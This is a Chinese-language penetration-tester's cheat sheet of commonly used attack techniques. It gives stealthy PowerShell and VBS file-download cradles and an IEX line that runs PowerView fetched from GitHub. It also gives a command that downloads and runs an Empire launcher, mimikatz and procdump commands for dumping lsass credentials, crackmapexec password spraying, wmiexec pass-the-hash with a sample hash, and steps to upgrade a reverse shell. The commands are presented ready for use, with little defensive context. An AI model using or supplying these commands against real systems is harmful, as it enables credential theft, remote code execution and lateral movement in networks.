一些在渗透中使用的技巧总结,待更
有些目的很多方法都能达到,这里只是总结自己最常用的。
文件下载
linux 方法太多
windows
1 2 3 4 5 6 7 8 9
| 1. powershell powershell -exec bypass -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg','d:\\1.jpg')
2. VBS下载 echo on error resume next >> C:\windows\temp\get.vbs & echo iLocal=LCase(Wscript.Arguments(1)) >> C:\windows\temp\get.vbs & echo iRemote=LCase(Wscript.Arguments(0)) >> C:\windows\temp\get.vbs & echo Set xPost=createObject("Microsoft.XMLHTTP") >> C:\windows\temp\get.vbs & echo xPost.Open "GET",iRemote,0 >> C:\windows\temp\get.vbs & echo xPost.Send() >> C:\windows\temp\get.vbs & echo set sGet=createObject("ADODB.Stream") >> C:\windows\temp\get.vbs & echo sGet.Mode=3 >> C:\windows\temp\get.vbs & echo sGet.Type=1 >> C:\windows\temp\get.vbs & echo sGet.Open() >> C:\windows\temp\get.vbs & echo sGet.Write xPost.ResponseBody >> C:\windows\temp\get.vbs & echo sGet.SaveToFile iLocal,2 >> C:\windows\temp\get.vbs
3. bitsadmin /transfer myDownLoadJob /download /priority normal "http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg" "d:\abc.jpg"
bitsadmin的利用:https://www.cnblogs.com/gayhub/p/6517655.html
|
更多可以参考 https://xz.aliyun.com/t/1654/
mimikatz
1 2 3 4 5
| mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" Procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords" C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp 32 位系统 C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp 64 位系统
|
https://uknowsec.cn/posts/notes/Mimikatz%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E6%8A%93%E5%8F%96.html
powershell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| >powershell -exec bypass #bypass策略启动powershell >import-module .\powerview.ps1 # 导入powerview 模块 >get-command -m powerview # 查看模块的方法 >get-help Invoke-UserHunter # 查看方法的使用
一些用法
#先下载文件: powershell -exec bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://10.1.1.2:8000/PowerView.ps1','C:\\windows\\temp\\PowerView.ps1'); #本地导入并运行方法: powershell -exec bypass -Command "&{Import-Module .\PowerView.ps1;Invoke-UserHunter -Stealth}"
#远程导入并运行方法: powershell -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1'); Invoke-UserHunter -Stealth "
#Empire生成vbs,下载vbs并运行 cmd.exe /c powershell.exe -exec bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://10.1.1.2:8000/launcher.vbs','C:\\windows\\temp\\launcher.vbs'); CScript.exe launcher.vbs
|
powersploit
运行方法如上,可以本地导入,也可以远程下载利用
模块和方法:https://2kb.me/280.html
crackmapexec
介绍 https://www.freebuf.com/sectool/184573.html
常用用法:
1 2 3
| crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami crackmapexec 192.168.10.0/24 -u Administrator -p 'P@ssw0rd' crackmapexec 192.168.10.0/24 -u Administrator -p 'P@ssw0rd' --local-auth # 使用本地用户登录
|
SMB的工具
1 2 3 4 5 6 7 8 9 10
| wmiexec.py
#得到一个半交互shell wmiexec.py administrator:password@192.168.2.224
#执行命令 wmiexec.py administrator:password@192.168.2.224 whoami
#使用hash执行命令 wmiexec.py -hashes 00000000000000000000000000000000:e483abd832e04b1da4caa15d262f847a administrator@192.168.2.224 "whoami"
|
参考 https://www.freebuf.com/sectool/105524.html
反弹shell获取交互式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 具体如下,第一步,在哑 shell 中执行: $ python -c 'import pty; pty.spawn("/bin/bash")'
第二步, 键入 Ctrl-Z,会回到 VPS 的命令行中; 在 VPS 中执行: $ stty raw -echo $ fg 执行后会回到哑 shell 中;
第三步,在哑 shell 中键入 Ctrl-l,执行: $ reset $ export SHELL=bash $ export TERM=xterm-256color $ stty rows 54 columns 104
|
这样,可以得到功能齐全的交互式 shell,比如,支持命令补全、语法高亮